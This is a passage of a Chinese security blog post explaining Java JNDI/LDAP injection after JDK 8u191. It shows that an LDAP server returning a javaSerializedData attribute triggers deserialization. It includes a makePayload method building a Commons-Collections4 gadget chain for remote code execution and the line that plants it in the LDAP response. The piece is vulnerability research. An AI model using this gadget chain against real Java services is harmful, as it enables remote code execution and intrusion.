既然不能去Reference加载远程代码执行了,那么,是不是能不用Reference去加载呢?

对,还有一种方式,看执行栈:

deserializeObject:527, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:42, JndiAttackLookup (com.threedr3am.bug.rmi.client)
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
    try {
      ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

      try {
        Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
        Throwable var21 = null;

        Object var5;
        try {
          var5 = ((ObjectInputStream)var20).readObject();
        } catch (Throwable var16) {
          var21 = var16;
          throw var16;
        } finally {
          if (var20 != null) {
            if (var21 != null) {
              try {
                ((ObjectInputStream)var20).close();
              } catch (Throwable var15) {
                var21.addSuppressed(var15);
              }
            } else {
              ((ObjectInputStream)var20).close();
            }
          }

        }

        return var5;
      } catch (ClassNotFoundException var18) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var18);
        throw var4;
      }
    } catch (IOException var19) {
      NamingException var3 = new NamingException();
      var3.setRootCause(var19);
      throw var3;
    }
}

也就是,可以通过修改ldap服务的对象返回内容,达到反序列化攻击

为什么呢,看上一层

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {
      Attribute var1;
      if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
        ClassLoader var3 = helper.getURLClassLoader(var2);
        return deserializeObject((byte[])((byte[])var1.get()), var3);
      } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
        return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
      } else {
        var1 = var0.get(JAVA_ATTRIBUTES[0]);
        return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
      }
    } catch (IOException var5) {
      NamingException var4 = new NamingException();
      var4.setRootCause(var5);
      throw var4;
    }
}

其中(var1 = var0.get(JAVA_ATTRIBUTES[1])) != null判断了JAVA_ATTRIBUTES[1]是否为空,这是哪个参数呢?

static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};

是一个名为javaSerializedData的参数,所以,我们可以通过修改ldap服务直接返回javaSerializedData参数的数据(序列化gadget数据),达到反序列化RCE

首先,我们通过该方法,制造Common-Collectios4 gadget的base64序列化数据

private static byte[] makePayload(String[] args) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(args[0]);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(queue);
    objectOutputStream.close();
    return byteArrayOutputStream.toByteArray();

}

接着,添加ldap服务的attribute javaSerializedData

e.addAttribute("javaSerializedData", classData);

总结:jdk8u191后,ldap Reference的攻击方式不能使用,需要通过javaSerializedData返回序列化gadget方式实现

0x03 JRMP Gadget还有用吗?

很多人以为天天讲RMI攻击什么的,觉得很鸡肋,其实并不然,其中涉及到的很多知识,在其他地方我们完全能用上,就比如,我们使用RMI和LDAP协议的JNDI去攻击客户端,以及我前段时间讲的Shiro文章《Apache Shiro源码浅析之从远古洞到最新PaddingOracle CBC》,完全可以利用JRMPClient的gadget payload去加快Padding Oracle CBC攻击的速度等等...

参考

如何绕过高版本 JDK 的限制进行 JNDI 注入利用

Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

点击收藏 | 7 关注 | 2
登录 后跟帖